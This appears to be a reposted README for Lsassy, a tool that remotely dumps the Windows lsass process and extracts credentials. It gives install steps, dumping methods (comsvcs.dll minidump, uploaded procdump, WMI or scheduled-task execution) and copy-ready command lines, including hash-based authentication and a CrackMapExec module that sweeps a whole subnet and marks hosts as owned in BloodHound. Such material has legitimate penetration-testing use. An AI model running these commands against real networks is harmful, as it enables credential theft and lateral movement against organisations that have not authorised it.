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Lsassy : Extract Credentials From Lsass Remotel

Lsassy is a tool used to extract credentials from lsass remotely. This library uses impacket project to remotely read necessary bytes in lsass dump and pypykatz to extract credentials.

ChaptersDescription
RequirementsRequirements to install lsassy from source
InstallationInstallation commands from pip or from source
Basic UsageCommand line template for standalone version
Advanced UsageAdvanced usage (Dumping methods, execution methods, …)
CrackMapExec ModuleLink to CrackMapExec module included in this repository
ExamplesCommand line examples for standalone and CME module
IssuesRead this before creating an issue
AcknowledgmentsKudos to these people and tools
ContributorsPeople contributing to this tool

Requirements

Installation

From pip

python3.7 -m pip install lsassy

From sources

python3.7 setup.py install

Basic Usage

lsassy [–hashes [LM:]NT] [<domain/]<user>[:<password>]@<target>

Also Read – Hakrawler : Discovery Of Endpoints & Assets Within A Web Application

Advanced

Dumping Methods

This tool can dump lsass in different ways.

Dumping methods (-m or --method)

  • 0: Try all methods (dll then procdump) to dump lsass, stop on success (Requires -p if dll method fails)
  • 1: comsvcs.dll method, stop on success (default)
  • 2: Procdump method, stop on success (Requires -p)
  • 3: comsvcs.dll + Powershell method, stop on success
  • 4: comsvcs.dll + cmd.exe method

comsvcs.dll method

This method only uses built-in Windows files to extract remote credentials. It uses minidump function from comsvcs.dll to dump lsass process.

This method can only be used when context has SeDebugPrivilege. This privilege is either in Powershell local admin context, or cmd.exe SYSTEM context.

Two execution methods can be used.

  1. WMIExec with cmd.exe (no SeDebugPrivilege), or powershell (SeDebugPrivilege)
  2. ScheduledTasks with SYSTEM context (SeDebugPrivilege)

Procdump method

This method uploads procdump.exe from SysInternals to dump lsass process. It will first try to execute procdump using WMI, and if it fails it will create a remote task, execute it and delete it.

Examples

lsassy [–hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target> -m 0 -p /path/to/procdump.exe
lsassy [–hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target> -m 1 lsassy [–hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target> -m 2 -p /path/to/procdump.exe
lsassy [–hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target> -m 3 lsassy [–hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target> -m 4

Remote parsing only

lsassy can parse an already dumped lsass process.

lsassy [–hashes [LM:]NT] –dumppath /share/path/to/dump.dmp [<domain>/]<user>[:<password>]@<target>

CrackMapExec module

I wrote a CrackMapExec module that uses lsassy to extract credentials on compromised hosts

CrackMapExec module is in cme folder : CME Module

Examples

lsassy

# RunDLL Method lsassy adsec.local/jsnow:Winter_is_coming@dc01.adsec.local

# Procdump Method lsassy -m 2 -p /tmp/procdump.exe adsec.local/jsnow:Winter_is_coming@dc01.adsec.local

# Remote parsing only lsassy –dumppath C$/Windows/Temp/lsass.dmp adsec.local/jsnow:Winter_is_coming@dc01.adsec.local

# NT Hash Authentication lsassy –hashes 952c28bd2fd728898411b301475009b7 Administrator@desktop01.adsec.local

CME Module

crackmapexec smb 10.0.0.0/24 -d adsec.local -u Administrator -p Passw0rd -M lsassy -o BLOODHOUND=True NEO4JPASS=bloodhound

ChangeLog

  • v1.1.0
    • Better execution process : –method flag has been added and described in help text
    • Uses random dump name
    • Chose between cmd, powershell, dll and/or procdump methods
    • CME module is now using light lsassy WMIExec et TASKExec implementation
    • Bug fixes
  • v1.0.0
    • Built-in lsass dump
      ** Lsass dump using built-in Windows
      ** Lsass dump using procdump (using -p parameter)
    • Add –dumppath to ask for remote parsing only
    • Code refactoring
    • Add –quiet to quiet output
  • v0.2.0
    • Add BloodHound option to CME module (-o BLOODHOUND=True)
      • Set compromised targets as “owned” in BloodHound
      • Check if compromised users have at least one path to domain admin
    • Custom parsing (json, grep, pretty [default])
    • New –hashes option to lsassy
    • Include CME module in repository
    • Add credentials to CME database
  • v0.1.0
    • First release

Issues

If you find an issue with this tool (that’s very plausible !), please

  • Check that you’re using the latest version
  • Send as much details as possible.
    • For standalone lsassy, please use the -d debug flag
    • For CME module, please use CrackMapExec --verbose flag